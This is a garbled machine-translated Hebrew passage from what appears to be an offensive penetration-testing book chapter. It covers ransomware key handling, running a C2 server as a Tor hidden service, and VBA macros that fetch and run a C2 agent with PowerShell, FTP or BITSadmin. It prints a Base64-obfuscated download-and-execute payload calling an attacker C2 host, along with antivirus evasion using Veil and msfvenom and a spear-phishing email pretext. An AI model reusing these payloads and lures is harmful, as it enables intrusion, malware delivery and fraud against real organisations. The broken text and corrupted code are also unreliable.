יום ה שנה ה 02-ש ל Applied Cryptographyמאת ברו ס שנייר (Wiley, 2015).
במי לים פ שו טות ,קריפ טוגרפיה א סימ טרית )או קריפ טוגרפיה ש ל מפת ח צי בורי(
מ שתמ שת ב שני מפת חות שונים -א חד להצפנה וא חד לפענו ח .מ ב חינה מתמ טית,
מפת חות א לה ק שורים ,אך לא ניתן לגזור א חד מה שני .היתרון ש ל גי שה זו במ שימות
א ב ט חהיומיומיות הוא שניתן ל שתף מפת ח צי בורי עם אנ שי ק שר )או עם כ ל האינ טרנ ט(,
מה שמאפ שר להצפין תו כן ,א שר בתורוי כו ל לג שת ר ק ל כ ל מי שי ש לו גי שה לפר טי ש לך.
מפת ח ) שצריך להיות ר ק אתה( .זה אידיא לי ע בוריי שומים כגון דואר א ל ק טרוני .זאת
בה שוואה להצפנה סימ טרית )או הצפנת מפת ח פר טי( ,כא שר אותו מפת ח מ שמ ש
להצפנה ו לפענו ח .זה לא מתאים להת קפת תו כנת כופר ,מ כיוון ש לפ חות ס ביר שניתן
יהיה ל ש חזר את המפת ח ע לידי תרגי ל פורנזי מו כ שר .זה לא ס ביר למ טרות המפור טות
כאן א ב לי ש ל חפ ש ש למות ב כ ל ד בר.
מנ קודת המ ב ט ש ל תו כנת כופר ,קריפ טו א -סימ טרי שימו שי כי זה אומר שניתן לנעו ל
ק בצים ,ו בתמורה ל כופר ,מ סופ ק מ שהו מו ח שי כדי ל ש חזר אותם -מ שהו שאין סי כוי
שה קור בןיו כ ל לר כו ש א חרת -וזה הפר טי מַ פְ ֵת ַח.
צפנים סימ טריים ,( סי ביותIDEA, 3DES, CAST5, Blowfish, AES (128, 192, 256
[5] : RC4, DES, Serpent (128, 192, 256 ,( סי ביותTwofish (128, 256
SEED, ,( סי ביותRon's Cipher 2 RC2 (40, 128 ,( סי ביותARCfour
Salsa20, Salsa20/12, ChaCha20, ,(( סי ביות128, 192, 256 קמ ליה
GOST 28147-89
[6] :מצ בי צופן ECB, CFB, CBC, OFB, CTR, AES-Wrap (RFC 3394), CCM,
GCM, Stream, OCB
א לגוריתמים ש ל RSA, DSA, ElGamal, ECDSA, EdDSA
[8] מפת ח צי בורי
[7] :
[10]
[11] ( פונ קציות גזירת מפת חMACs):
,(מ לו ח+ אי טרציה, מ לו ח, פ שו ט4880: CFR-) כמו בS2K
PBKDF2, SCRYPT
ECC Brainpool / RFC 5639 (P256r1, P384r1, P512r1), :( ע קומות א ליפ טיותKDFs):
R (34) 2001, 34.10-2012) ברנ ש טייןNIST (P-256, P-384, P-521), SECG (secp256k1),
(Curve25519), GOST-
יצירת מפת ח מר חו ק
י ש ליצור את צמד המפת חות ב שרת כדי לה ב טי ח שה ל קו ח לעו לם לאיראה את המפת ח
הפר טי עד ש שו לם ה כופר .כמהיי שומי כופר מייצרים את צמד המפת חות ב ל קו ח ואז
שו ל חים את המפת ח הפר טי ל שרת.
ה ס כנה ב כך כפו לה :שגיאה המוע ברת ל שרת ע לו לה למנוע את מ סירת המפת ח הפר טי,
ו להפוך את ה ק בצים ל ב לתי ניתנים ל ש חזור ל ח לו טין .אם המפת ח הפר טי נוצר ע ל
ה ל קו ח ,תמיד קיימת ס כנה שהואי כו ל להיות בר ה ש חזור ע לידי ה קור בן .ברור שאף
א חד מהתר חי שים ה ל לו אינו מועי ל.
מ ב ק ש את ה כופר
לא חר ה ש למת ההת קפה ,המפת ח הצי בורי עו בר גי בו ב תוך שימו ש באותו תה ליך ש בו
הוא נוצר ב שרת C2.המ טרה הי חידה ש ל זה היא ליצור מזההיי חודי ק טן שה קור בנות
י כו לים לה שתמ ש בו בעת הודעה ע ל כך ש שי למו את ה כופר ו לאפ שר למ בצע למצוא
את המפת ח הפר טי המתאים .ניתן להד בי ק את -hashההזה בדף אינ טרנ ט ו למ סור
את המפת ח הפר טי באופן או טומ טי.י ש ליידע את ה קור בנות גם לג בי התו כן ש ל
c:\ransom\[Link]כדי שיהיה ברור ל ח לו טין מה עומד ע ל כף המאזניים .ראה איור
5.4.
Machine Translated by Google
שמירה ע ל C2כדאי לציין שגם אם ת ש למו כופר ,זה לא אומר שזו תהיה הפעם
הא חרונה שת שמעו מהתו קף .במ קרה זה ,ת שתית ה ש לי טה וה ב קרה עדיין קיימת
ותי קים ש ל ה קור בן עדיין נגי שים.
הת קפת תו כנת כופרי כו לה להיות ר ק מר כי ב א חד בתר חי ש APTגדו ליותר .כפי שראית
בפר ק ה קודם ,ברגע ש ח ל קים גדו לים ש ל הר שת או הת חום נגי שים לתו קף ,גני בת נתונים
ב קנה מידה גדו לי כו לה להפוך ב ק לות לפעו לת כופר ב קנה מידה גדו ל .למר בה הצער,
היעד הפופו לרי ביותר להת קפות כא לה כרגע הם בתי חו לים מ כיוון שהם ת חת ה ל חץ
הג בוה ביותר ל ש לם .אין להם זמן לע סו ק בפעו לות מ שפ טיות ארו כות טוו ח או בתרגי לי
ש חזור נתוניםי קרים כא שר ה ק בצים שהם אי בדו גי שה א ליהם חיוניים למתן שירותי
בריאות.
מ ח ש בות א חרונות
האם אי פעם באמת כדאי ל בצע תרגי ל כזה? לא .אתה בה ח ל טי כו ל לע שותיותר נז ק
מתוע לת אם אתה עו שה זאת ב חו סר מע ש ) שאני לא לו ק ח א חריות ע ליו(; עם זאת,
אין ספ ק בא שר ליעי לותו .אם אתה CISOשעורך בדי קות חדירה כמנוף כדי ל ק ב ל
ת קצי ב גדו ליותר לא ב ט חה ,זה ע שוי להיות מ שהו ש כדאי ל ש קו ל ) בצורה מאוד
מ בו קרת(.
Machine Translated by Google
הי כרות עם נת ב ה בצ ל אם אתה קורא את זה ,ס ביר להני ח שנת ק לת בנת ב ה בצ ל )(Tor
בצורה כזו או א חרת או לפ חותי ש לך מו שג מה זה .ל סי כום Tor ,מ שמ ש בעי קר
לאנונימיזציה ש ל התנהגות מ שתמ ש באינ טרנ ט -תע בורת אינ טרנ ט ) לדוגמה( מנות בת
דרך מ ספר ש כ בות ש ל נת בים )ו ל כן ה בצ ל( לפני שהיא מנות בת חזרה לאינ טרנ ט הצי בורי
דרך צומתיציאה .כ ל ש כ בהי כו לה לראות ר ק את ה חי בורים ש לה במע לה הזרם והמורד
הזרם ב כ ל הפע לה והתנועה מוצפנת .זה למע שה הופך את מ שתמ ש האינ טרנ ט
לאנונימי.
עם זאת,י ש בעיות בגי שה זו .אם תו קפים שו ל טים בצומת היציאה ,הםי כו לים לראות
את התנועה עו ברת ליעד ה סופי ש לה.י שנן גם הת קפות מתאם שניתן ל בצע ע לידי
ש ח קנים גדו לים ) כגון -NSA,הה שו ל ט בצמתייציאה ר בים( ,המאפ שרות לזהות את
המ שתמ ש ע לידי הצ ל בת מנות הנ כנ סות ויוצאות מר שת )Torלפ חות בתיאוריה( .עם
זאת Tor ,מאפ שרת לנו גם ל ספ ק שירותים בתוך הר שת ה"אפ לה" עצמה -זהיוצר
למע שה ) לדוגמה( שרת אינ טרנ ט אנונימי ל ח לו טין שניתן לצפות בו ר ק באמצעות Tor
ומ שתמ ש במער כת כתו בות מ בוזרת מ ש לו .זה אידיא לי לצר כים ש לנו .ניתן ל ספ ק שרת
C2כצומת בתוך ר שת Torוהמאר ח שנפרץית ח בר ל roT-כ שהוא נ כנ ס לאינ טרנ ט,
עו קף ל ח לו טין את א ב ט חת הר שת המ קומית ו שאר הגי שה התפעו לית ,גם אם מזוהים
מאר חים שנפגעו.
הערה
Machine Translated by Google
הד בר הרא שון שצריך לע שות הוא להוריד את תו כנת — Torהיא זמינה ע בור מגוון ר ח ב
ש ל פ ל טפורמות .מדריך זה מ שתמ ש בגר סת לינו ק ס ע בור C2ו בגר סת Windowsע בור
סו כן C2,אך הוראות א לו הן כמע ט זהות ל לא ק שר למער כת ההפע לה .הדרך ה ק לה
ביותר להמ שיך היא להוריד את ח בי לות הדפדפן Tor,המ שמ שות לג לי שה אנונימית
באינ טרנ ט .זה כמו בן לא מה שאנ חנו רוצים לע שות ,א ב ל ה ח בי לה המ לאה מ כי לה את
הר כי בים ה בודדים שאנ חנו צרי כים ,אותם ניתן ל ש לוף ו ל בנות בת שתית C2ש לנו .הגדרה
זו מני חה את ה קיום ש ל שרת C2המוגדר פ חות אויותר בהתאם ל קווים שתוארו בפר קים
ה קודמים .זה ה כר חי ש כ ל ה שירותים ,בין אם הם SSH,שרת אינ טרנ ט או מאזין
Metasploit,יהיו ח שופים ר ק ב כתו בת המאר ח המ קומי .ה סי בה ל כך היא ש כאן נ קודת
ה קצה ש ל מנהרת Torתצפה להן להיות וגם מ ב טי חה ש לא ניתןיהיה למנות שום ד בר
לג בי ה 2C-מהאינ טרנ ט ,כמו למ ש ל ע לידי מנועי חיפו ש.
קו בץ Torrc
זה הופך אתיציאות TCP 443, 7022ו 0808-לזמינות במאר ח Tor,בהנ חה ש2C-
ש לנו מ שתמ ש ביציאות א לו .שנה אותם למה שאתה צריך שהםיהיו .ספריית ה שירות
הנ סתרת היא פ שו ט המ קום ש בויי שמרו מפת חות ה שרת ש לנו וצרי כה להיות מ חוץ
ל ספריית ה שור ש ש ל שרת האינ טרנ ט .הערה
Machine Translated by Google
שים ל ב.מפת חותיאו ח סנו וצרי כים להיות מ חוץ ל ספריית ה שור ש ש ל שרת האינ טרנ ט
זה פ שו ט כדי4433. פוע ל למע שה ע ל443, תוך ח שיפתיציאה,ש שרת האינ טרנ ט
.למנוע את הצורך להפעי ל את שירות האינ טרנ ט כ שור ש
ה ק בצים הא להtor_hidden . ייווצרו שני ק בצים ב ספרייה,יופע לroT-בפעם ה באה ש
( ש לך2C-) שמור ע ל זה מאו ב ט ח או שא חריםיו כ לו להת חזות לprivate_key הם קו בץ
2C- זו תהיה גם ה כתו בת ש ל ה. ש ל המפת ח הצי בוריhash ו קו בץ שם מאר ח שמ כי ל
:ש לך
הפע ל מ חד שwil@c2:~$ etcinit.d/tor
wil@c2:~$ ls
שם מאר ח
פר טי_מפת ח
[Link]
ניתן לג שת א ליו ע לידי, באמצעות תצורה זוTor פעי ל ומ סופ ק דרך ר שת2C-כא שר ה
בתנאי[Link], ב כ ל מ קום בעו לם באמצעות ה כתו בתC2 סו כני
כדאי ל חזור ע ל הנ קודה ש ברגע שהת שתית. בעצמםTor שה סו כניםי כו לים לג שת לר שת
ה סו כנים לא.צדדית-י ש אנונימיות מו ח ל טת ש ל תע בורה דו,הזו פוע לת
Machine Translated by Google
יודע לאן הם מת ח ברים ו שרת C2לאי כו ל לראות את מי קומם ש ל ה סו כנים .זה מ ק שה
מאוד ע ליעדים לזהות ו ל ח סום תע בורת C2ו ב לתי אפ שרי לג לות הי כן נמצא שרת C2
ש לנו.
הערה
מנהור נתונים דרך Torפירו שו פגיעה ב ביצועים; האופי ש ל אופן פעו לתו ש ל Tor
אומר שזה תמידיהיה המצ ב ,לא מ שנה כמה מהר ה קי שורים ה בודדים או
ה ביצועים הג בוהים ש ל צמתי הניתו ב Tor .מנוצ ל טו ביותר כפתרון C2אנונימי
נמוך ואי טי כא שר אינך צריך להע ביר כמויות אדירות ש ל נתונים .עם זאת ,זהו
פתרון א לגנ טי מאוד ל בעיות אנונימיות.
Machine Translated by Google
ג שרים
ר שתות מ סוימות ע שויות ל ח סום את היציאה ש ליציאת TCP 9050או אפי לו לר שום
באופן דינמי את כ ל צמתי ה roT-בני סיון למנוע מהמ שתמ שים ש להם גי שה לר שת Tor
ו לע קוף את ב קרת הגי שה לר שת; עם זאת ,ניתן לה בי ס זאת ב ק לות ע לידי הודעה ל סו כן
C2לה שתמ ש בג שרי Torבעת ה חי בור .זה מו שג ע לידי הו ספת האפ שרויות ה באות
ל קו בץ התצורה המ קומי ש ל torrc .
ניתן ל טפ ל בגי שור גם כאופציה ב שורת הפ קודה ,א ב ל לפרי סה רא שונית ,אני רוצה
לוודא שי ש לי ג שרים עו בדים מ לפנים ו לתת ל סו כן Torל טפ ל ב ספרייה ש לו ברגע שהוא
מ חו בר .התנ סו ותהנו.
1E326AAFB3FCB5150152503D8BFC9E1E326AAFB3FCB5150152503D8BFC9E8B1FCC9E1A5D3FCC9E
0E858AC201BF0F3FA3C462F64844CBFFC7297A42 Bridge fte [Link]:8080
2BD466989944867075EBAD1BC1BC1BC1Ffte 1BC175E87232BC1 0.150:8080
FC562097E1951DCC41B7D7F324D88157119BB56D Bridge fte [Link]:80
.105.214.162:8080
FDC5BA65D93B6BCA5EFF1EFF1EB7EF4EF17EB7EFF1EF17EB7EFF1EFF1EF1F3EF17EF17EF4
A17A40775FBD2CA1184BF80BFC330A77ECF9D0E9 Bridge fte [Link]:80
Bridge fte [Link]:8080
פ קודות מא קרו VBAנ ב חנו בפר ק 1כאמצעי לא ספ קת מ טענים ואני רוצה ל חזור ע ל
ה ט כנו לוגיה הזו ,מ כיוון שי ש דר כים א חרות ) טו בותיותר( לה שתמ ש בהן.
המא קרו VBAהוא גם דרך המ ח שה מאוד להדגים ט כני קות א חרות ש ל די בור עם פי קוד
ו ב קרה והורדה ו ביצוע ש ל ש ל ב שני באמצעות פ קודה א חת ב ל בד.י ש גם דר כים טו בות
יותר להע ביר את מ סמך -Wordה שהת ק ב ל מא שר דואר א ל ק טרוני .באופן כ ל לי ,מ סמך
MS Wordהנו שא מא קרו דור ש סיומת mcod.א שר ,ל לא ק שר ל שא לה אם אתה
מצ לי ח להע ביר אותו מע בר לזיהוי אנ טי-וירו ס או תו כנות זדוניות ,עדיין ניתן לזהות ע ל
ידי בני אדם ומ כונות כא חד כוו ק טור הת קפה אפ שרי לפני שזה ב כ ל ל .הורד .הדואר
הא ל ק טרוניי סיר לעתים קרו בות ק בצים מצורפים כא לה כ ברירת מ חד ל ,או לי
Machine Translated by Google
לה סגר אותם ,ו כמע ט בוודאות להזהיר את מ שתמ ש ה קצה .עוד ע ל זה בa-
ֶר ַג ע.
בע בר ,התר כזתי ב שימו ש בפ קודות מא קרו ש ל VBAכדי להוריד עומ ס VBS,ש בתורויוריד
קו בץ הפע לה ש ל סו כן C2.זהיע בוד ומאפ שר גמי שות ר בה במה שאתהי כו ל לע שות ברגע
שאתה מ חוץ להג ב לות ש ל מוד ל VBA.עם זאת ,רמת מור כ בות זו לא תמיד ה כר חית או
רצויה .אם כ ל מה שאתה רוצה לע שות הוא להוריד ו להפעי ל סו כן C2,אתהי כו ל לע שות
זאת ) בדר כים שונות( עם פ קודת Windowsא חת .כא שר ט כני קות א לו מעורפ לות כה ל כה,
הןיעי לות וא טומות לאנ טי-וירו ס כמו כ ל ד בר שנראה עד כה.
פגז כו ח
אתהי כו ל לה שתמ ש ב שפת ס קריפ טים מ ש ל Windows, PowerShell,ע בור כ ל מיני
מ שימות לא חר ניצו ל .אין לו את הת ח ביר והמ בנה הא לגנ טיים ביותר בה שוואה למה
שתתרג ל א ליו כמ שתמ ש UNIX,א ב ל הואיותר מעוצמתי מ ספי ק לצר כים ש לנו .ה קוד ה בא
במא קרו VBAיוריד את קו בץ [Link]מ[Link] -יא ח סן אותו
בתור [Link]ב ספריית הע בודה וי בצע אותו:
)(Sub powershell
'
' מא קרו ש ל Powershell
'
'
עמום PSResponseכמ חרוזת
סיום מ שנה
FTP
ע בור רו ב המ שימותFTP ,הוא פתרון הע ברת ק בצים שהוצא מ שימו ש .זה מגו שם ו לא
ב טו ח ,א ב ל עדייןי ש לו שימו שים .ה קוד ה בא )הפעם לא מוצג בה ק שר ש ל מא קרו )VBA
י שיג את אותו אפ ק ט ע לידי בניית ת חי לה an
Machine Translated by Google
BITSadmin
Windows 7ומע לה מגיע עם כ לי שורת פ קודה ב שם BITSadmin,שניתן לה שתמ ש
בו גם להורדה ו ביצוע ש ל קוד .ראוי להז כיר כ לי זה ,מ כיוון שהוא מ סוג ל לה שהות הע ברת
ק בצים אם ה חי בור לר שת א בד.
כא שר ה קי שוריות מ שו חזרת ,ההע ברה תימ שך וה קודי בוצע.
ערפו ל מ טען פ שו ט ט כני קות א לו ,למרות שהןיעי לות ,הן ש קופות ל כ ל מי
שצופה במא קרו ומ כי לות מי לות מפת ח שאנ טי-וירו ס ע שוי למצוא ח שודות.
עם זאת ,ק ל ל ט ש ט ש את הפ קודות ה ל לו באמצעות שגרת קידוד Base64
פ שו טה.
י שנם אמצעי ערפו ל א חרים ו חז קיםיותר ,א ב ל זה מ ספי ק כדי לה בי ס כמע ט את כ ל
הצורות ש ל ניתו ח תו כנות זדוניות או טומ טיות.
ניתן לזהות ,לפענ ח ו לנת ח מ חרוזות )Base64טריוויא ליות למע שה( ,אך בעוד שנו כ חות
ש ל נתונים מ קודדים ע לו לה להג ביר בדרך כ ל ל את ח שד -AVה ש ל כ ל קו בץ נתון ,א לא
אם כןי שנם גורמים א חרים התורמים ,זה לאי ספי ק כדי ל ק ב ל זה מ סומן .פעו לה זו
תיצור מ ספר ב לתי מת ק ב ל ע ל הדעת ש ל תוצאות שווא.
בהמ שך לדוגמא ש ל PowerShellבתוך VBA,הד בר הרא שון שצריך לע שות הוא
ל קודד את מ חרוזת המ טען בתור Base64.כדי ל שמור את זה א ק טוא לי ,אני מדגים
זאת עם PowerShell:
[Link]).DownloadFile('[Link]
UG93ZXJTaGVsbCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKC
odHRwOi8vb3VyYzJzZXJ2ZXIuY29tL2Rvd25sb2FkL2MyYWdlbnQuZXhlJywnYWdlbnQuZXhlJyk7U
RhcnQtUHJvY2VzcyAnYWdlbnQuZXhlJw==
והפ קודה$b הפ קודה הרא שונה מ קצה את המ טען למ חרוזת בתים הנ קראת
.46esaB-ה שנייה ממירה אותו ל
סוף אם
lTemp cl2Exp6 lPowers12(lTemp) = lTemp cl2Exp12 lPowers18(lTemp) = lTemp cl2Exp18 עדlTemp = 0 ע בור
63 lPowers6(lTemp) =
lChar ה בא
תת )(testb64
'
' מא קרו testb64
'
'
= PSResp
Shell(monkey("UG93ZXJTaGVsbCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93
odHRwOi8vb3VyYzJzZXJ2ZXIuY29tL2Rvd25sb2FkL2MyYWdlbnQuZXhlJywnYWdlbnQuZXhlJyk7U
)RhcnQtUHJvY2VzcyAnYWdlbnQuZXhlJw=="), vbHide
סיום מ שנה
שימו ל ב שהפ קודה Shellקוראת כעת לפונ קציה monkey ,א שר לו ק חת את המ חרוזת
Base64כ ק ל ט .למה קוף? כי ברור שזו לא פונ קציית פענו ח .אם זה נ קרא Base64Decode
) לדוגמה(-AV ,ה ע שוי להתפתות ל ב חון מ קרו ב.
א ס טר טגיות א ל טרנ טי ביות בהת חמ קות מאנ טי וירו ס אתה ב ט ח מ ק ב ל את הרו שם ע כ שיו
שאני נ חו ש באמת לה כריע את ה ח שי בות ש ל התמצאות -AV.ב ח שו ב לה בין שהד ברים הי חידים
-AVש טו ב להם הוא עצירת הת קפי וני לידועים ומ ב חני חדירה מעצ בנים .ב כ ל הת קפת APT,
כ ל ה כ לים צרי כים להיות מותאמים אי שית ו ל בדו ק מו ל הגנותידועות לפני פרי סה ,מה שהופך
את נו שא -AVה למעורפ ל מ שהו .עם זאת,י ש מ קרים ש בהם תרצה לה שתמ ש ב כ לים שנ כת בו
ע לידי א חרים מ טעמי נו חות או בג ל ל אי לוצי זמן ,וזה קרי טי לה ב טי ח שהם לאיתג לו.
הדוגמה ה ברורה ביותר היא סו כני Metasploitשתרצה לפרו ס ע ל C2מ ש לך .מ כיוון ש-
Metasploitsידועים ומו בנים הי ט ב ע לידי ספ קי AV,י ש צורך לע שות קצת ע בודה נו ספת
כדי למנוע מהם להיות מזוהים.
פתרון נ חמד ל כך הוא ער כת ה כ לים Veil Evasionשנ כת בה ע לידי Harmj0yו ח ברים; אתה
י כו ל לה שיג את זה כאן:
[Link]
איור 5.8: Veilי כו ל כעת ליצור קו בץ הפע לה ש ל Pythonמהו ל מ קוד המע טפת הגו למי.
הדוגמה ה קודמת מע ט מתו כננת ,מ כיוון ש Veil Evasion -מ סוג לת באופן ט בעי ליצור
הת ק שרויות מעורפ לות ש ל Meterpreterהו כ חה -AV,לא ב ל רציתי להדגיםיצירת עומ סים
מ קוד מע טפת ש טו ח ,מ כיוון שאו לי תרצו לה שתמ ש במ שהו א חר מ ל בד Meterpreter.
האפ שרויות מרמזות -תצ טרך להתנ סות בהגדרות כדי להפוך את המ טען ש לך ל ח שאי באמת.
ע בור הדוגמה ה שנייה ,אנייוצר exe.א חר באמצעות פ חות אויותר אותם פרמ טרים
ש ל msfvenom ,אך הפעם לא כו ל ל את ה קידוד:
אם תמ שיך עם אותן אפ שרויות כמו בדוגמה הרא שונה ,תראה מ שהו דומה לתמונה
5.10.
ההת קפה
כפי שצוין מו קדםיותר בפר ק ,עדיף לדעת בפירו ט ר ב ועם מ ח ש בה מו קדמת כ כ ל
האפ שר בדיו ק מה אתה מעוניין ל ק חת מר שת היעד לפני ת חי לת הת ק שרות .זה נ שמע
מו בן מא ליו -ס כימות ש ל כ ליירייה -א ב ל כ ל מה שידוע כרגע ע ל היעד הוא שהם
מייצרים כ לי נ ש ק ומו ש קעים מאוד ב ט כנו לוגיית CNC.י שנן מ ספר סופי ש ל ט כנו לוגיות
CADשמתאימות לע בודה כזו ו שי כו לות לייצא עיצו בים התואמים למ כונות א לו .לדעת
איזו ט כנו לוגיה )ו ל כן הר ח בות ק בצים ו כן ה לאה( נמצאת ב שימו ש מרא שי ח סוך לך זמן
בעת חיפו ש הת שתית לאיתור נתונים.
Machine Translated by Google
מהנד ס עיצו ב רו בים עונה ע ל ה שא לות ש לך באיזו תו כנת CADאתה מ שתמ ש כדי לעצ ב
את כ לי הנ ש ק ש לך?
אנו מ שתמ שים -Solid Edge ST8ב כרגע ,א ב ל הת ח לנו -ST 3ב גר סאות 14,אני מאמין.
זה מ ספי ק כדי להת חי לSolid Edge .היא תו כנת CAD 3D,ת כונה פרמ טרית )מ בו ס סת
הי ס טוריה( ותו כנת מידו ל מוצ ק ב ט כנו לוגיה סינ כרונית .הוא פוע ל ע ל Windows
Microsoftומ ספ ק מוד לים מוצ קים ,דוגמנות הר כ בה ופונ קציונ ליות ש ל תצוגה אורתוגרפית
דו-ממדית ע בור מעצ בים מ כניים .כרגע זה ב בע לות ומפות חת ע לידי סימנ ס AG.גר סת
ני סיון ב חינם זמינה כך שאין שום תירוץ לא להוריד אותה ,ק חו אותה מ ס בי ב ל ב לו ק ,ור שמו
את שמות ה ק בצים המר כזיים ותו ספות ק בצי הנתונים ש לו ,כך שניתןיהיה לזהות במהירות
ת חנות ע בודה הנד סיות לא חר חדירת ר שת היעד .איור 5.11מציג את סוגי ה ק בצים.
איור 5.11:תי בת דו -שי ח Save Asמציגה את סוגי ה ק בצים שאיתם Solid Edgeעו בד.
Machine Translated by Google
באופן דומה ,ספריית התו כנית Solid Edgeהמוצגת באיור 5.12מפר טת אי לויי שומים
ל חפ ש.
זיהוי ה ש ח קנים לפני שיוצאים א חרייעדים בודדים ,כדאי ל ק ב ל ס קירה כ ל לית ש ל ה ח ברה
מידע ע ל מי קום ה ח ברה ניתן לה שיג ב ק לות מאתרים צי בוריים ,כפי שהוא
Machine Translated by Google
מידע ע ל מי קום ה ח ברה ניתן לה שיג ב ק לות מאתרים צי בוריים ,כפי שהוא
ספירת העו בדים .למה א כפת מ כמה אנ שים עו בדים שם? המ ספר
ש ל העו בדים נו טה ל ק בוע כיצד בעיות ט כניות נפתרות.יותר גדו ל
ס ביר להני ח ש ל ח ברותי ש את כ ל הת שתיות ש להן ב בית ומתו חז קות ע לידיהן
עו בדים מ ש להם ,בעוד ש ח ברות ק טנות מי קור חוץ אפי לו ת שתיות ב סי סיות.
זה לא כ ל ל ק שי ח ומהיר ,א ב ל שו ב ,זה כ ל ל אצ בע טו ב .מהיר
חיפו ש מג לה כי -Gotham Small Armsלי ש פ חות מ 05-עו בדים
שימו ש -Google Gmailב כדי ל ספ ק שירותי דוא" ל:
זה מעניין .אם הם מ שתמ שים ב שירותי הענן המ קצועיים ש ל גוג ל ע בור
דוא" ל,יית כן שהם גם מ שתמ שים בהם ל שיתוף מ סמ כים ,מה שי כו ל לע שות
ד ברים ק ליםיותר לגני בת מ סמ כים .א ב ל כנראהי ש להם מדיניות ש לא
Machine Translated by Google
ד ברים ק ליםיותר לגני בת מ סמ כים .א ב ל כנראהי ש להם מדיניות לפיה זה לאי שמ ש
ל קניין רו חני רגי ש )או שהם צרי כים -ע בדתי ב ח ברת א ב ט חה שא ח סנה דו חות בדי קת
ע ט בגוג ל דו ק ס(.
תן למ שתמ ש ה קצה סי בה מ ש כנעת להפעי ל פ קודות מא קרו .המ סמך לא אמור
ל ספ ק מידע אמיתי למ טרה וצריך להציע בתו קף שנדר שת אינ טרא קציה מא קרו ע ל
מנת להפוך את המ סמך ל שימו שי או קריא .זה גם צריך להיות מ שהו שמו שך את
העין ומו שך.
בת חי לת ה ספר ,כת בתי ע ל שימו ש בהודעה שדנה בפי טורים ונראה כי טופ לה בצורה
לא נ כונה.י שנן וריאציות ר בות ש ל ההת קפה העוצמתית הזו ,א ב ל זה צריך להיות
מ שהו שמרמז ע ל שינוי נ סי בות ע בור המ ק ל ט -בדרך כ ל ל נ סי בות ש לי ליות ) בה לה
פוגעת ב ש כ ל הי שר(.
Machine Translated by Google
התאם את ההת קפה ל ל קו ח .זה לא אמור להיראות כמו עוד תרגי ל דיג ענ ק
שמתע ק ש ש ח ש בונות -PayPalה ש להם נפגעו.
ה קדי שו זמן למ ח קר כיצד נראים המ סמ כים ש להם ,הי כן ממו קם ה לוגו ו כיצד הוא
מעוצ ב ,באיזה גופן מ שתמ שים ו כו'.
גוג ל הוא ה ח בר ש לך א ב ל גם סרו ק את האתרים הפומ ביים ש ל היעד .בדרך כ ל ל
אתהי כו ל למצוא קו בצי PDFל כ ל הפ חות שיתנו לך עם מה לע בוד .לרו ב ה ח ברות
י ש כתו בת דוא" ל @ infoש בדרך כ ל ל ת ש ל ח תגו בה או טומ טית ,וזה שימו שי לזיוף
כותרות ת חתונות בדוא" ל .אתהי כו ל גם ל ש לו ח מיי ל BCCהמוני ל כתו בות ש קצרת
ב כ ל עי לה שתרצה ו לראות מי נו שך .ס ביר גם ש לפ חות תי בת דואר נ כנ ס א חת תגי ב
בהודעת "מ חוץ למ שרד" ,שהן שימו שיות מ סי בות ר בות ,העיצו ב הוא הפ חות .ע כ שיו
אתהיודע מי לא זמין ) במיו חד בארגון גדו ל( ,מה שנותן לך גמי שות מ סוימת אם אתה
צריך להת חזות לעו בדים מ ב לי שהםי ק ב לו התראה מיידית ע ל עו בדה זו )ראה איור
5.13) .
ה שא לה כעת היא באיזו גי שה ש ל הנד סה ח ברתית כדאי לה שתמ ש כדי לעורר את
עניין המ טרה? וריאציה ע ל הודעת הפי טורים הי שנה ש טופ לה ש לא כה ל כה צרי כה
ל שרת מ ספי ק טו ב.
א לtarget@[Link] :
Machine Translated by Google
צירפתי קי שור למ ספרים שדי ברנו ע ליהם ב ש בוע שע בר ,אז אני מ קווה שזה לאיהיהיותר מדי ה לם .עם זאת ,זה
עדיין ח סוי לפני האמ ברגו בהתאם ל כ ל לי -FTC,האז נא לא להפיץ .בהת ח ש ב במ ספר הר ב ש ל עו בדים שעומדים
להיפ טר כתוצאה מהמיזוג ,אני הו לך להמ ליץ ע ליועץ למע בר כי שורים מ קצועיים למ ח ל קה ש לך כ שאראה את כם
ב ש בוע ה בא.
[Link]
ב בר כה,
ארגמן
הודעה זו היא פר טית ו סודית .אם קי ב לת הודעה זו ב טעות ,אנא הודע לנו וה סר אותה מהמער כת ש לך.
דרך מהירה ו ק לה לה שיג מודעות למצ ב לא חר שפגע בת חנת הע בודה ש ל מ שתמ ש היא
לתפו ס את הדוא" ל ש לו בפורמ ט שאתהי כו ל ליי בא ל ל קו ח דוא" ל במ ח ש ב ש לך .זהי כו ל
להיות מ כרה זה ב ש ל מידע ,כגון שמות ,כתו בות דוא" ל ,מ סמ כים ומידע ארגוני א חר -
אפי לו סי סמאות אםי ש לך מז ל גדו ל .תתפ לאו כמה אנ שים שומרים גי בוי ש ל ה סי סמאות
הארגוניות ש להם בגי ליון א ל ק טרוני ש ל Excelו שו ל חים אותו בדוא" ל לעצמם כגי בוי -
לעזאז ל מדיניות הא ב ט חה.
ב ס בי בה ארגונית טיפו סית ,למ שתמ שיםיהיה Microsoft Outlookכ ל קו ח דוא" ל ויומן
ה ק שורים -Microsoft Exchange.ל בדרך כ ל ל ,למ שתמ שיםיהיה ר ק גוד ל סופי ש ל
תי בת הדואר ש ל Exchangeוהםיידר שו להע ביר מעת לעת מיי לים ל חנות מ קומית אם
הם רוצים ל שמור אותם .ניתן ליי בא את ק בצי )-Personal Storage Table (.pstהא לה
ב ק לות ו ל לא כ ל המרה ,בין אם בתי בת הדואר הנ כנ ס ,פרי טים שנ ש ל חו או כ ל תי קיה
א חרת .א חרתExchange ,
Machine Translated by Google
מא ח סן נתוני דוא" ל בפורמ ט ) Offline Stored Table (.ostמ ש לו ,א שר ) כפי שה שם
מרמז( מאו ח סנים באופן מ קומי בת חנת הע בודה ש ל ה ל קו ח ,ומאפ שר להם לג שת למיי ל
ש להם גם כא שר הם אינם מ חו ברים ל שרת Exchange.
מי קרו סופ ט טוענת ש לא ניתן ליי באי שירות ק בצי tso.ל ל קו ח א חר ש ל אאו ט לו ק או
להמיר אותם ל ק בצי tsp.לאותן מ טרות ,שאם זה נ כון,י ס בך את העניינים .עם זאת,
י שנם מ ספר כ לים זמינים באינ טרנ ט תמורת ת ש לום ק טן שהופ כים המרה כזו לתה ליך
ב ל חיצה א חת ל לא צורך ב שום מידע א חר כגון פרופי לי MAPI.י ש מע ט מאוד ה בד ל בין
